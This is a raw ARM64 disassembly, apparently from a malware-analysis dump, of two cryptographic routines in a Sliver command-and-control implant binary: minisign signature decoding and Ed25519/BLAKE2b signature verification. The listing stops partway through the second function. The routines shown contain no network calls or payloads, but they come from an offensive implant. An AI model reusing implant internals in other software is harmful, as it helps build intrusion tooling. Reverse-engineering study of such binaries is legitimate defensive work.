File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    003dcb80
    003dcb80github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature(struct string in)
    003dcb80ldr x16, [x28+16]
    003dcb84sub x17, sp, 704
    003dcb88subs xzr, x17, x16
    003dcb8cb.ls 0x3dd2b0
    003dcb90sub x20, sp, 832
    003dcb94stp x29, x30, [x20-8]
    003dcb98add sp, x20, 0
    003dcb9csub x29, sp, 8
    003dcba0str x0, [sp+1016]
    003dcba4str x1, [sp+1024]
    003dcba8add x20, sp, 840
    003dcbacadr x27, 16
    003dcbb0stp x29, x27, [sp-24]
    003dcbb4sub x29, sp, 24
    003dcbb8bl fn_87ce4
    003dcbbcsub x29, sp, 8
    003dcbc0stp xzr, xzr, [sp+128]
    003dcbc4add x20, sp, 144
    003dcbc8adr x27, 16
    003dcbccstp x29, x27, [sp-24]
    003dcbd0sub x29, sp, 24
    003dcbd4bl fn_87ce4
    003dcbd8sub x29, sp, 8
    003dcbdcldr x0, [sp+1016]
    003dcbe0ldr x1, [sp+1024]
    003dcbe4adrp x2, 0x333000
    003dcbe8add x2, x2, 232
    003dcbecorr x3, xzr, 1
    003dcbf0orr x4, xzr, 4
    003dcbf4bl strings.SplitN
    003dcbf8str x0, [sp+320]
    003dcbfcstr x1, [sp+328]
    003dcc00str x2, [sp+336]
    003dcc04str x1, [sp+120]
    003dcc08subs xzr, x1, 4
    003dcc0cb.lt 0x3dcc14
    003dcc10b 0x3dcc64
    003dcc14
    003dcc14loc_3dcc14:
    003dcc14adrp x0, 0x2df000
    003dcc18add x0, x0, 3348
    003dcc1corr x1, xzr, 28
    003dcc20bl errors.New
    003dcc24str x0, [sp+768]
    003dcc28str x1, [sp+776]
    003dcc2cadd x21, sp, 840
    003dcc30add x20, sp, 144
    003dcc34adr x27, 16
    003dcc38stp x29, x27, [sp-24]
    003dcc3csub x29, sp, 24
    003dcc40bl fn_87ec8
    003dcc44sub x29, sp, 8
    003dcc48ldr x0, [sp+768]
    003dcc4cldr x1, [sp+776]
    003dcc50str x0, [sp+128]
    003dcc54str x1, [sp+136]
    003dcc58ldp x29, x30, [sp-8]
    003dcc5cadd sp, sp, 832
    003dcc60ret x30
    003dcc64
    003dcc64loc_3dcc64:
    003dcc64subs xzr, x1, 0
    003dcc68b.hi 0x3dcc70
    003dcc6cb 0x3dd2a4
    003dcc70
    003dcc70loc_3dcc70:
    003dcc70ldr x2, [x0]
    003dcc74ldr x1, [x0+8]
    003dcc78str x2, [sp+688]
    003dcc7cstr x1, [sp+696]
    003dcc80mov x0, x2
    003dcc84bl github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn
    003dcc88str x0, [sp+752]
    003dcc8cstr x1, [sp+760]
    003dcc90str x0, [sp+144]
    003dcc94str x1, [sp+152]
    003dcc98str xzr, [sp+728]
    003dcc9cadd x27, sp, 736
    003dcca0stp xzr, xzr, [x27]
    003dcca4add x27, sp, 768
    003dcca8stp xzr, xzr, [x27]
    003dccacldr x2, [sp+320]
    003dccb0ldr x1, [sp+328]
    003dccb4subs xzr, x1, 1
    003dccb8b.hi 0x3dccc0
    003dccbcb 0x3dd29c
    003dccc0
    003dccc0loc_3dccc0:
    003dccc0ldr x1, [x2+16]
    003dccc4ldr x2, [x2+24]
    003dccc8str x1, [sp+672]
    003dccccstr x2, [sp+680]
    003dccd0adrp x27, 0x645000
    003dccd4ldr x0, [x27+8]
    003dccd8bl encoding/base64.(*Encoding).DecodeString
    003dccdcstr x0, [sp+728]
    003dcce0str x1, [sp+736]
    003dcce4str x2, [sp+744]
    003dcce8str x3, [sp+768]
    003dccecstr x4, [sp+776]
    003dccf0ldr x3, [sp+728]
    003dccf4ldr x4, [sp+736]
    003dccf8ldr x5, [sp+744]
    003dccfcstr x3, [sp+424]
    003dcd00str x4, [sp+432]
    003dcd04str x5, [sp+440]
    003dcd08ldr x3, [sp+768]
    003dcd0cldr x4, [sp+776]
    003dcd10str x3, [sp+408]
    003dcd14str x4, [sp+416]
    003dcd18ldr x3, [sp+424]
    003dcd1cldr x4, [sp+432]
    003dcd20ldr x5, [sp+440]
    003dcd24str x3, [sp+384]
    003dcd28str x4, [sp+392]
    003dcd2cstr x5, [sp+400]
    003dcd30ldr x3, [sp+416]
    003dcd34ldr x4, [sp+408]
    003dcd38str x4, [sp+344]
    003dcd3cstr x3, [sp+352]
    003dcd40subs xzr, x4, 0
    003dcd44cset x3, ne
    003dcd48strb w3, [sp+55]
    003dcd4ccbnz x4, 0x3dcd54
    003dcd50b 0x3dcd58
    003dcd54
    003dcd54loc_3dcd54:
    003dcd54b 0x3dcd70
    003dcd58
    003dcd58loc_3dcd58:
    003dcd58ldr x2, [sp+392]
    003dcd5cstr x2, [sp+120]
    003dcd60subs xzr, x2, 74
    003dcd64cset x2, ne
    003dcd68strb w2, [sp+55]
    003dcd6cb 0x3dcd70
    003dcd70
    003dcd70loc_3dcd70:
    003dcd70ldrb w2, [sp+55]
    003dcd74tbnz w2, 0, 0x3dcd7c
    003dcd78b 0x3dcdcc
    003dcd7c
    003dcd7cloc_3dcd7c:
    003dcd7cadrp x0, 0x2dd000
    003dcd80add x0, x0, 3329
    003dcd84movz x1, 25
    003dcd88bl errors.New
    003dcd8cstr x0, [sp+768]
    003dcd90str x1, [sp+776]
    003dcd94add x21, sp, 840
    003dcd98add x20, sp, 144
    003dcd9cadr x27, 16
    003dcda0stp x29, x27, [sp-24]
    003dcda4sub x29, sp, 24
    003dcda8bl fn_87ec8
    003dcdacsub x29, sp, 8
    003dcdb0ldr x0, [sp+768]
    003dcdb4ldr x1, [sp+776]
    003dcdb8str x0, [sp+128]
    003dcdbcstr x1, [sp+136]
    003dcdc0ldp x29, x30, [sp-8]
    003dcdc4add sp, sp, 832
    003dcdc8ret x30
    003dcdcc
    003dcdccloc_3dcdcc:
    003dcdccldr x2, [sp+320]
    003dcdd0ldr x1, [sp+328]
    003dcdd4subs xzr, x1, 2
    003dcdd8b.hi 0x3dcde0
    003dcddcb 0x3dd294
    003dcde0
    003dcde0loc_3dcde0:
    003dcde0ldr x0, [x2+32]
    003dcde4ldr x1, [x2+40]
    003dcde8str x0, [sp+656]
    003dcdecstr x1, [sp+664]
    003dcdf0bl github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn
    003dcdf4str x0, [sp+752]
    003dcdf8str x1, [sp+760]
    003dcdfcstr x0, [sp+240]
    003dce00str x1, [sp+248]
    003dce04str xzr, [sp+728]
    003dce08add x27, sp, 736
    003dce0cstp xzr, xzr, [x27]
    003dce10add x27, sp, 768
    003dce14stp xzr, xzr, [x27]
    003dce18ldr x2, [sp+320]
    003dce1cldr x1, [sp+328]
    003dce20subs xzr, x1, 3
    003dce24b.hi 0x3dce2c
    003dce28b 0x3dd28c
    003dce2c
    003dce2cloc_3dce2c:
    003dce2cldr x1, [x2+48]
    003dce30ldr x2, [x2+56]
    003dce34str x1, [sp+640]
    003dce38str x2, [sp+648]
    003dce3cadrp x27, 0x645000
    003dce40ldr x0, [x27+8]
    003dce44bl encoding/base64.(*Encoding).DecodeString
    003dce48str x0, [sp+728]
    003dce4cstr x1, [sp+736]
    003dce50str x2, [sp+744]
    003dce54str x3, [sp+768]
    003dce58str x4, [sp+776]
    003dce5cldr x3, [sp+728]
    003dce60ldr x4, [sp+736]
    003dce64ldr x5, [sp+744]
    003dce68str x3, [sp+800]
    003dce6cstr x4, [sp+808]
    003dce70str x5, [sp+816]
    003dce74ldr x3, [sp+768]
    003dce78ldr x4, [sp+776]
    003dce7cstr x3, [sp+784]
    003dce80str x4, [sp+792]
    003dce84ldr x3, [sp+800]
    003dce88ldr x4, [sp+808]
    003dce8cldr x5, [sp+816]
    003dce90str x3, [sp+360]
    003dce94str x4, [sp+368]
    003dce98str x5, [sp+376]
    003dce9cldr x3, [sp+792]
    003dcea0ldr x4, [sp+784]
    003dcea4str x4, [sp+344]
    003dcea8str x3, [sp+352]
    003dceacsubs xzr, x4, 0
    003dceb0cset x3, ne
    003dceb4strb w3, [sp+55]
    003dceb8cbnz x4, 0x3dcec0
    003dcebcb 0x3dcec4
    003dcec0
    003dcec0loc_3dcec0:
    003dcec0b 0x3dcedc
    003dcec4
    003dcec4loc_3dcec4:
    003dcec4ldr x3, [sp+368]
    003dcec8str x3, [sp+120]
    003dceccsubs xzr, x3, 64
    003dced0cset x3, ne
    003dced4strb w3, [sp+55]
    003dced8b 0x3dcedc
    003dcedc
    003dcedcloc_3dcedc:
    003dcedcldrb w3, [sp+55]
    003dcee0tbnz w3, 0, 0x3dcee8
    003dcee4b 0x3dcf38
    003dcee8
    003dcee8loc_3dcee8:
    003dcee8adrp x0, 0x2dd000
    003dceecadd x0, x0, 3329
    003dcef0movz x1, 25
    003dcef4bl errors.New
    003dcef8str x0, [sp+768]
    003dcefcstr x1, [sp+776]
    003dcf00add x21, sp, 840
    003dcf04add x20, sp, 144
    003dcf08adr x27, 16
    003dcf0cstp x29, x27, [sp-24]
    003dcf10sub x29, sp, 24
    003dcf14bl fn_87ec8
    003dcf18sub x29, sp, 8
    003dcf1cldr x0, [sp+768]
    003dcf20ldr x1, [sp+776]
    003dcf24str x0, [sp+128]
    003dcf28str x1, [sp+136]
    003dcf2cldp x29, x30, [sp-8]
    003dcf30add sp, sp, 832
    003dcf34ret x30
    003dcf38
    003dcf38loc_3dcf38:
    003dcf38add x3, sp, 160
    003dcf3cldrsb x27, [x3]
    003dcf40b 0x3dcf44
    003dcf44
    003dcf44loc_3dcf44:
    003dcf44str x3, [sp+728]
    003dcf48orr x1, xzr, 2
    003dcf4cstr x1, [sp+736]
    003dcf50str x1, [sp+744]
    003dcf54ldr x2, [sp+400]
    003dcf58ldr x3, [sp+384]
    003dcf5csubs xzr, x2, 2
    003dcf60b.hs 0x3dcf68
    003dcf64b 0x3dd288
    003dcf68
    003dcf68loc_3dcf68:
    003dcf68b 0x3dcf6c
    003dcf6c
    003dcf6cloc_3dcf6c:
    003dcf6cstr x3, [sp+704]
    003dcf70str x1, [sp+712]
    003dcf74str x2, [sp+720]
    003dcf78ldr x3, [sp+728]
    003dcf7cldr x4, [sp+736]
    003dcf80ldr x5, [sp+744]
    003dcf84str x3, [sp+616]
    003dcf88str x4, [sp+624]
    003dcf8cstr x5, [sp+632]
    003dcf90ldr x3, [sp+712]
    003dcf94ldr x4, [sp+704]
    003dcf98ldr x5, [sp+720]
    003dcf9cstr x4, [sp+592]
    003dcfa0str x3, [sp+600]
    003dcfa4str x5, [sp+608]
    003dcfa8ldr x4, [sp+624]
    003dcfacstr x4, [sp+112]
    003dcfb0subs xzr, x4, x3
    003dcfb4b.gt 0x3dcfbc
    003dcfb8b 0x3dcfc4
    003dcfbc
    003dcfbcloc_3dcfbc:
    003dcfbcstr x3, [sp+112]
    003dcfc0b 0x3dcfc8
    003dcfc4
    003dcfc4loc_3dcfc4:
    003dcfc4b 0x3dcfc8
    003dcfc8
    003dcfc8loc_3dcfc8:
    003dcfc8ldr x3, [sp+592]
    003dcfccldr x4, [sp+616]
    003dcfd0subs xzr, x3, x4
    003dcfd4b.ne 0x3dcfdc
    003dcfd8b 0x3dcff8
    003dcfdc
    003dcfdcloc_3dcfdc:
    003dcfdcldr x3, [sp+112]
    003dcfe0str x3, [sp+104]
    003dcfe4ldr x2, [sp+104]
    003dcfe8ldr x1, [sp+592]
    003dcfecldr x0, [sp+616]
    003dcff0bl runtime.memmove
    003dcff4b 0x3dcffc
    003dcff8
    003dcff8loc_3dcff8:
    003dcff8b 0x3dcffc
    003dcffc
    003dcffcloc_3dcffc:
    003dcffcadd x3, sp, 162
    003dd000ldrsb x27, [x3]
    003dd004b 0x3dd008
    003dd008
    003dd008loc_3dd008:
    003dd008str x3, [sp+704]
    003dd00corr x3, xzr, 8
    003dd010str x3, [sp+712]
    003dd014str x3, [sp+720]
    003dd018ldr x2, [sp+400]
    003dd01cldr x4, [sp+384]
    003dd020subs xzr, x2, 10
    003dd024b.hs 0x3dd02c
    003dd028b 0x3dd280
    003dd02c
    003dd02cloc_3dd02c:
    003dd02cb 0x3dd030
    003dd030
    003dd030loc_3dd030:
    003dd030sub x5, x2, 2
    003dd034sub x6, xzr, x5
    003dd038sbfm x6, x6, 63, 63
    003dd03cand x6, x6, 2
    003dd040add x4, x4, x6
    003dd044str x4, [sp+728]
    003dd048str x3, [sp+736]
    003dd04cstr x5, [sp+744]
    003dd050ldr x3, [sp+704]
    003dd054ldr x4, [sp+712]
    003dd058ldr x5, [sp+720]
    003dd05cstr x3, [sp+568]
    003dd060str x4, [sp+576]
    003dd064str x5, [sp+584]
    003dd068ldr x3, [sp+736]
    003dd06cldr x4, [sp+728]
    003dd070ldr x5, [sp+744]
    003dd074str x4, [sp+544]
    003dd078str x3, [sp+552]
    003dd07cstr x5, [sp+560]
    003dd080ldr x4, [sp+576]
    003dd084str x4, [sp+96]
    003dd088subs xzr, x4, x3
    003dd08cb.gt 0x3dd094
    003dd090b 0x3dd09c
    003dd094
    003dd094loc_3dd094:
    003dd094str x3, [sp+96]
    003dd098b 0x3dd0a0
    003dd09c
    003dd09cloc_3dd09c:
    003dd09cb 0x3dd0a0
    003dd0a0
    003dd0a0loc_3dd0a0:
    003dd0a0ldr x3, [sp+544]
    003dd0a4ldr x4, [sp+568]
    003dd0a8subs xzr, x3, x4
    003dd0acb.ne 0x3dd0b4
    003dd0b0b 0x3dd0d0
    003dd0b4
    003dd0b4loc_3dd0b4:
    003dd0b4ldr x3, [sp+96]
    003dd0b8str x3, [sp+88]
    003dd0bcldr x2, [sp+88]
    003dd0c0ldr x1, [sp+544]
    003dd0c4ldr x0, [sp+568]
    003dd0c8bl runtime.memmove
    003dd0ccb 0x3dd0d4
    003dd0d0
    003dd0d0loc_3dd0d0:
    003dd0d0b 0x3dd0d4
    003dd0d4
    003dd0d4loc_3dd0d4:
    003dd0d4add x3, sp, 170
    003dd0d8ldrsb x27, [x3]
    003dd0dcb 0x3dd0e0
    003dd0e0
    003dd0e0loc_3dd0e0:
    003dd0e0str x3, [sp+728]
    003dd0e4orr x3, xzr, 64
    003dd0e8str x3, [sp+736]
    003dd0ecstr x3, [sp+744]
    003dd0f0ldr x2, [sp+400]
    003dd0f4ldr x4, [sp+384]
    003dd0f8subs xzr, x2, 74
    003dd0fcb.hs 0x3dd104
    003dd100b 0x3dd278
    003dd104
    003dd104loc_3dd104:
    003dd104b 0x3dd108
    003dd108
    003dd108loc_3dd108:
    003dd108sub x5, x2, 10
    003dd10csub x6, xzr, x5
    003dd110sbfm x6, x6, 63, 63
    003dd114movz x7, 10
    003dd118and x6, x6, x7
    003dd11cadd x4, x4, x6
    003dd120str x4, [sp+704]
    003dd124str x3, [sp+712]
    003dd128str x5, [sp+720]
    003dd12cldr x4, [sp+728]
    003dd130ldr x5, [sp+736]
    003dd134ldr x6, [sp+744]
    003dd138str x4, [sp+520]
    003dd13cstr x5, [sp+528]
    003dd140str x6, [sp+536]
    003dd144ldr x4, [sp+712]
    003dd148ldr x5, [sp+704]
    003dd14cldr x6, [sp+720]
    003dd150str x5, [sp+496]
    003dd154str x4, [sp+504]
    003dd158str x6, [sp+512]
    003dd15cldr x5, [sp+528]
    003dd160str x5, [sp+80]
    003dd164subs xzr, x5, x4
    003dd168b.gt 0x3dd170
    003dd16cb 0x3dd178
    003dd170
    003dd170loc_3dd170:
    003dd170str x4, [sp+80]
    003dd174b 0x3dd17c
    003dd178
    003dd178loc_3dd178:
    003dd178b 0x3dd17c
    003dd17c
    003dd17cloc_3dd17c:
    003dd17cldr x4, [sp+496]
    003dd180ldr x5, [sp+520]
    003dd184subs xzr, x4, x5
    003dd188b.ne 0x3dd190
    003dd18cb 0x3dd1ac
    003dd190
    003dd190loc_3dd190:
    003dd190ldr x3, [sp+80]
    003dd194str x3, [sp+72]
    003dd198ldr x2, [sp+72]
    003dd19cldr x1, [sp+496]
    003dd1a0ldr x0, [sp+520]
    003dd1a4bl runtime.memmove
    003dd1a8b 0x3dd1b0
    003dd1ac
    003dd1acloc_3dd1ac:
    003dd1acb 0x3dd1b0
    003dd1b0
    003dd1b0loc_3dd1b0:
    003dd1b0add x3, sp, 256
    003dd1b4ldrsb x27, [x3]
    003dd1b8b 0x3dd1bc
    003dd1bc
    003dd1bcloc_3dd1bc:
    003dd1bcstr x3, [sp+704]
    003dd1c0orr x4, xzr, 64
    003dd1c4str x4, [sp+712]
    003dd1c8str x4, [sp+720]
    003dd1ccstr x3, [sp+472]
    003dd1d0str x4, [sp+480]
    003dd1d4str x4, [sp+488]
    003dd1d8ldr x3, [sp+368]
    003dd1dcldr x4, [sp+360]
    003dd1e0ldr x5, [sp+376]
    003dd1e4str x4, [sp+448]
    003dd1e8str x3, [sp+456]
    003dd1ecstr x5, [sp+464]
    003dd1f0ldr x4, [sp+480]
    003dd1f4str x4, [sp+64]
    003dd1f8subs xzr, x4, x3
    003dd1fcb.gt 0x3dd204
    003dd200b 0x3dd20c
    003dd204
    003dd204loc_3dd204:
    003dd204str x3, [sp+64]
    003dd208b 0x3dd210
    003dd20c
    003dd20cloc_3dd20c:
    003dd20cb 0x3dd210
    003dd210
    003dd210loc_3dd210:
    003dd210ldr x3, [sp+448]
    003dd214ldr x4, [sp+472]
    003dd218subs xzr, x3, x4
    003dd21cb.ne 0x3dd224
    003dd220b 0x3dd240
    003dd224
    003dd224loc_3dd224:
    003dd224ldr x3, [sp+64]
    003dd228str x3, [sp+56]
    003dd22cldr x2, [sp+56]
    003dd230ldr x1, [sp+448]
    003dd234ldr x0, [sp+472]
    003dd238bl runtime.memmove
    003dd23cb 0x3dd244
    003dd240
    003dd240loc_3dd240:
    003dd240b 0x3dd244
    003dd244
    003dd244loc_3dd244:
    003dd244add x21, sp, 840
    003dd248add x20, sp, 144
    003dd24cadr x27, 16
    003dd250stp x29, x27, [sp-24]
    003dd254sub x29, sp, 24
    003dd258bl fn_87ec8
    003dd25csub x29, sp, 8
    003dd260stp xzr, xzr, [sp+128]
    003dd264mov x0, xzr
    003dd268mov x1, xzr
    003dd26cldp x29, x30, [sp-8]
    003dd270add sp, sp, 832
    003dd274ret x30
    003dd278
    003dd278loc_3dd278:
    003dd278movz x1, 74
    003dd27cbl runtime.panicSliceAcap
    003dd280
    003dd280loc_3dd280:
    003dd280movz x1, 10
    003dd284bl runtime.panicSliceAcap
    003dd288
    003dd288loc_3dd288:
    003dd288bl runtime.panicSliceAcap
    003dd28c
    003dd28cloc_3dd28c:
    003dd28corr x0, xzr, 3
    003dd290bl runtime.panicIndex
    003dd294
    003dd294loc_3dd294:
    003dd294orr x0, xzr, 2
    003dd298bl runtime.panicIndex
    003dd29c
    003dd29cloc_3dd29c:
    003dd29corr x0, xzr, 1
    003dd2a0bl runtime.panicIndex
    003dd2a4
    003dd2a4loc_3dd2a4:
    003dd2a4mov x0, xzr
    003dd2a8bl runtime.panicIndex
    003dd2achint
    003dd2b0
    003dd2b0loc_3dd2b0:
    003dd2b0stp x0, x1, [sp+184]
    003dd2b4mov x3, x30
    003dd2b8bl runtime.morestack_noctxt.abi0
    003dd2bcldp x0, x1, [sp+184]
    003dd2c0b 0x3dcb80
    003dd2c4udf 0
    003dd2c8udf 0
    003dd2ccudf 0
    003dcb80
    003dd2d0
    003dd2d0github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify(github.com/bishopfox/sliver/implant/sliver/cryptography.PublicKey * publicKey, struct []uint8 bin, github.com/bishopfox/sliver/implant/sliver/cryptography.Signature signature)
    003dd2d0ldr x16, [x28+16]
    003dd2d4sub x17, sp, 256
    003dd2d8subs xzr, x17, x16
    003dd2dcb.ls 0x3dd950
    003dd2e0sub x20, sp, 384
    003dd2e4stp x29, x30, [x20-8]
    003dd2e8add sp, x20, 0
    003dd2ecsub x29, sp, 8
    003dd2f0str x0, [sp+568]
    003dd2f4str x1, [sp+576]
    003dd2f8str x2, [sp+584]
    003dd2fcstr x3, [sp+592]
    003dd300strb wzr, [sp+83]
    003dd304stp xzr, xzr, [sp+104]
    003dd308sturh wzr, [sp+85]
    003dd30cmovz x4, 69
    003dd310strb w4, [sp+85]
    003dd314movz x4, 100
    003dd318strb w4, [sp+86]
    003dd31cldr x4, [sp+568]
    003dd320ldrsb x27, [x4]
    003dd324ldr x5, [sp+568]
    003dd328ldrsb x27, [x5]
    003dd32cldrb w4, [x4]
    003dd330ldrb w5, [x5+1]
    003dd334ubfm x5, x5, 56, 7
    003dd338orr x4, x4, x5
    003dd33cubfm x4, x4, 0, 15
    003dd340movz x5, 25669
    003dd344subs wzr, w4, w5
    003dd348b.ne 0x3dd350
    003dd34cb 0x3dd38c
    003dd350
    003dd350loc_3dd350:
    003dd350adrp x0, 0x2e1000
    003dd354add x0, x0, 2416
    003dd358orr x1, xzr, 32
    003dd35cbl errors.New
    003dd360str x0, [sp+360]
    003dd364str x1, [sp+368]
    003dd368strb wzr, [sp+83]
    003dd36cldr x1, [sp+360]
    003dd370ldr x2, [sp+368]
    003dd374str x1, [sp+104]
    003dd378str x2, [sp+112]
    003dd37cldrb w0, [sp+83]
    003dd380ldp x29, x30, [sp-8]
    003dd384add sp, sp, 384
    003dd388ret x30
    003dd38c
    003dd38cloc_3dd38c:
    003dd38cstrb wzr, [sp+84]
    003dd390ldrb w4, [sp+408]
    003dd394subs wzr, w4, 69
    003dd398cset x4, eq
    003dd39cstrb w4, [sp+87]
    003dd3a0b.eq 0x3dd3a8
    003dd3a4b 0x3dd3bc
    003dd3a8
    003dd3a8loc_3dd3a8:
    003dd3a8ldrb w4, [sp+409]
    003dd3acsubs wzr, w4, 100
    003dd3b0cset x4, eq
    003dd3b4strb w4, [sp+87]
    003dd3b8b 0x3dd3c0
    003dd3bc
    003dd3bcloc_3dd3bc:
    003dd3bcb 0x3dd3c0
    003dd3c0
    003dd3c0loc_3dd3c0:
    003dd3c0ldrb w4, [sp+87]
    003dd3c4tbnz w4, 0, 0x3dd3cc
    003dd3c8b 0x3dd3d8
    003dd3cc
    003dd3ccloc_3dd3cc:
    003dd3ccstrb wzr, [sp+84]
    003dd3d0orr x4, xzr, 1
    003dd3d4b 0x3dd424
    003dd3d8
    003dd3d8loc_3dd3d8:
    003dd3d8ldrb w4, [sp+408]
    003dd3dcsubs wzr, w4, 69
    003dd3e0cset x4, eq
    003dd3e4strb w4, [sp+87]
    003dd3e8b.eq 0x3dd3f0
    003dd3ecb 0x3dd404
    003dd3f0
    003dd3f0loc_3dd3f0:
    003dd3f0ldrb w4, [sp+409]
    003dd3f4subs wzr, w4, 68
    003dd3f8cset x4, eq
    003dd3fcstrb w4, [sp+87]
    003dd400b 0x3dd408
    003dd404
    003dd404loc_3dd404:
    003dd404b 0x3dd408
    003dd408
    003dd408loc_3dd408:
    003dd408ldrb w4, [sp+87]
    003dd40ctbnz w4, 0, 0x3dd414
    003dd410b 0x3dd908
    003dd414
    003dd414loc_3dd414:
    003dd414orr x4, xzr, 1
    003dd418strb w4, [sp+84]
    003dd41cb 0x3dd420
    003dd420
    003dd420loc_3dd420:
    003dd420b 0x3dd424
    003dd424
    003dd424loc_3dd424:
    003dd424ldr x5, [sp+568]
    003dd428ldrsb x27, [x5]
    003dd42cldr x6, [sp+568]
    003dd430ldrsb x27, [x6]
    003dd434ldr x7, [sp+568]
    003dd438ldrsb x27, [x7]
    003dd43cldr x8, [sp+568]
    003dd440ldrsb x27, [x8]
    003dd444ldr x9, [sp+568]
    003dd448ldrsb x27, [x9]
    003dd44cldr x10, [sp+568]
    003dd450ldrsb x27, [x10]
    003dd454ldr x11, [sp+568]
    003dd458ldrsb x27, [x11]
    003dd45cldr x12, [sp+568]
    003dd460ldrsb x27, [x12]
    003dd464ldrb w12, [x12+2]
    003dd468ldrb w5, [x5+3]
    003dd46cldrb w6, [x6+4]
    003dd470ldrb w7, [x7+5]
    003dd474ldrb w8, [x8+6]
    003dd478ldrb w9, [x9+7]
    003dd47cldrb w10, [x10+8]
    003dd480ldrb w11, [x11+9]
    003dd484ldrb w13, [sp+410]
    003dd488ldrb w14, [sp+411]
    003dd48cldrb w15, [sp+412]
    003dd490ldrb w16, [sp+413]
    003dd494ldrb w17, [sp+414]
    003dd498ldrb w19, [sp+415]
    003dd49cldrb w20, [sp+416]
    003dd4a0ldrb w21, [sp+417]
    003dd4a4ubfm x14, x14, 56, 7
    003dd4a8orr x13, x13, x14
    003dd4acubfm x5, x5, 56, 7
    003dd4b0orr x5, x12, x5
    003dd4b4ubfm x12, x15, 48, 7
    003dd4b8orr x12, x13, x12
    003dd4bcubfm x6, x6, 48, 7
    003dd4c0orr x5, x5, x6
    003dd4c4ubfm x6, x16, 40, 7
    003dd4c8orr x6, x12, x6
    003dd4ccubfm x7, x7, 40, 7
    003dd4d0orr x5, x5, x7
    003dd4d4ubfm x7, x17, 32, 7
    003dd4d8orr x6, x6, x7
    003dd4dcubfm x7, x8, 32, 7
    003dd4e0orr x5, x5, x7
    003dd4e4ubfm x7, x19, 24, 7
    003dd4e8orr x6, x6, x7
    003dd4ecubfm x7, x9, 24, 7
    003dd4f0orr x5, x5, x7
    003dd4f4ubfm x7, x10, 16, 7
    003dd4f8orr x5, x5, x7
    003dd4fcubfm x7, x20, 16, 7
    003dd500orr x6, x6, x7
    003dd504ubfm x7, x11, 8, 7
    003dd508orr x5, x5, x7
    003dd50cubfm x7, x21, 8, 7
    003dd510orr x6, x6, x7
    003dd514subs xzr, x6, x5
    003dd518b.ne 0x3dd520
    003dd51cb 0x3dd55c
    003dd520
    003dd520loc_3dd520:
    003dd520adrp x0, 0x2de000
    003dd524add x0, x0, 3376
    003dd528orr x1, xzr, 28
    003dd52cbl errors.New
    003dd530str x0, [sp+360]
    003dd534str x1, [sp+368]
    003dd538strb wzr, [sp+83]
    003dd53cldr x1, [sp+360]
    003dd540ldr x2, [sp+368]
    003dd544str x1, [sp+104]
    003dd548str x2, [sp+112]
    003dd54cldrb w0, [sp+83]
    003dd550ldp x29, x30, [sp-8]
    003dd554add sp, sp, 384
    003dd558ret x30
    003dd55c
    003dd55cloc_3dd55c:
    003dd55cldr x0, [sp+488]
    003dd560ldr x1, [sp+496]
    003dd564adrp x2, 0x2d8000
    003dd568add x2, x2, 1237
    003dd56cmovz x3, 17
    003dd570bl strings.HasPrefix
    003dd574strb w0, [sp+87]
    003dd578tbnz w0, 0, 0x3dd580
    003dd57cb 0x3dd8cc
    003dd580
    003dd580loc_3dd580:
    003dd580ldrb w9, [sp+84]
    003dd584tbnz w9, 0, 0x3dd58c
    003dd588b 0x3dd638
    003dd58c
    003dd58cloc_3dd58c:
    003dd58cstp xzr, xzr, [sp+344]
    003dd590stp xzr, xzr, [sp+360]
    003dd594mov x0, xzr
    003dd598mov x1, xzr
    003dd59cmov x2, x1
    003dd5a0bl golang.org/x/crypto/blake2b.New512
    003dd5a4str x0, [sp+344]
    003dd5a8str x1, [sp+352]
    003dd5acstr x2, [sp+360]
    003dd5b0str x3, [sp+368]
    003dd5b4ldr x3, [sp+344]
    003dd5b8ldr x4, [sp+352]
    003dd5bcstr x3, [sp+152]
    003dd5c0str x4, [sp+160]
    003dd5c4ldr x3, [sp+360]
    003dd5c8ldr x4, [sp+368]
    003dd5ccstr x3, [sp+136]
    003dd5d0str x4, [sp+144]
    003dd5d4ldr x3, [sp+152]
    003dd5d8ldr x0, [sp+160]
    003dd5dcstr x3, [sp+120]
    003dd5e0str x0, [sp+128]
    003dd5e4ldrsb x27, [x3]
    003dd5e8ldr x1, [sp+576]
    003dd5ecldr x2, [sp+584]
    003dd5f0ldr x4, [sp+592]
    003dd5f4ldr x3, [x3+56]
    003dd5f8mov x5, x3
    003dd5fcmov x3, x4
    003dd600blr x5
    003dd604ldr x3, [sp+120]
    003dd608ldrsb x27, [x3]
    003dd60cldr x3, [x3+48]
    003dd610ldr x0, [sp+128]
    003dd614mov x1, xzr
    003dd618mov x2, xzr
    003dd61cmov x4, x3
    003dd620mov x3, x2
    003dd624blr x4
    003dd628str x0, [sp+576]
    003dd62cstr x1, [sp+584]
    003dd630str x2, [sp+592]
    003dd634b 0x3dd63c
    003dd638
    003dd638loc_3dd638:
    003dd638b 0x3dd63c
    003dd63c
    003dd63cloc_3dd63c:
    003dd63cldr x9, [sp+568]
    003dd640ldrsb x27, [x9]
    003dd644add x9, x9, 10
    003dd648ldrsb x27, [x9]
    003dd64cb 0x3dd650
    003dd650
    003dd650loc_3dd650:
    003dd650str x9, [sp+320]
    003dd654orr x9, xzr, 32
    003dd658str x9, [sp+328]
    003dd65cstr x9, [sp+336]
    003dd660add x6, sp, 418
    003dd664ldrsb x27, [x6]
    003dd668b 0x3dd66c
    003dd66c
    003dd66cloc_3dd66c:
    003dd66cstr x6, [sp+296]
    003dd670orr x8, xzr, 64
    003dd674str x8, [sp+304]
    003dd678str x8, [sp+312]
    003dd67cldr x3, [sp+576]
    003dd680ldr x4, [sp+584]
    003dd684ldr x5, [sp+592]
    003dd688ldr x0, [sp+320]
    003dd68cldr x1, [sp+328]
    003dd690ldr x2, [sp+336]
    003dd694mov x7, x8
    003dd698bl golang.org/x/crypto/ed25519.Verify
    003dd69cstrb w0, [sp+87]
    003dd6a0tbnz w0, 0, 0x3dd6a8
    003dd6a4b 0x3dd890
    003dd6a8
    003dd6a8loc_3dd6a8:
    003dd6a8ldr x5, [sp+568]
    003dd6acldrsb x27, [x5]
    003dd6b0add x5, x5, 10
    003dd6b4ldrsb x27, [x5]
    003dd6b8b 0x3dd6bc
    003dd6bc
    003dd6bcloc_3dd6bc:
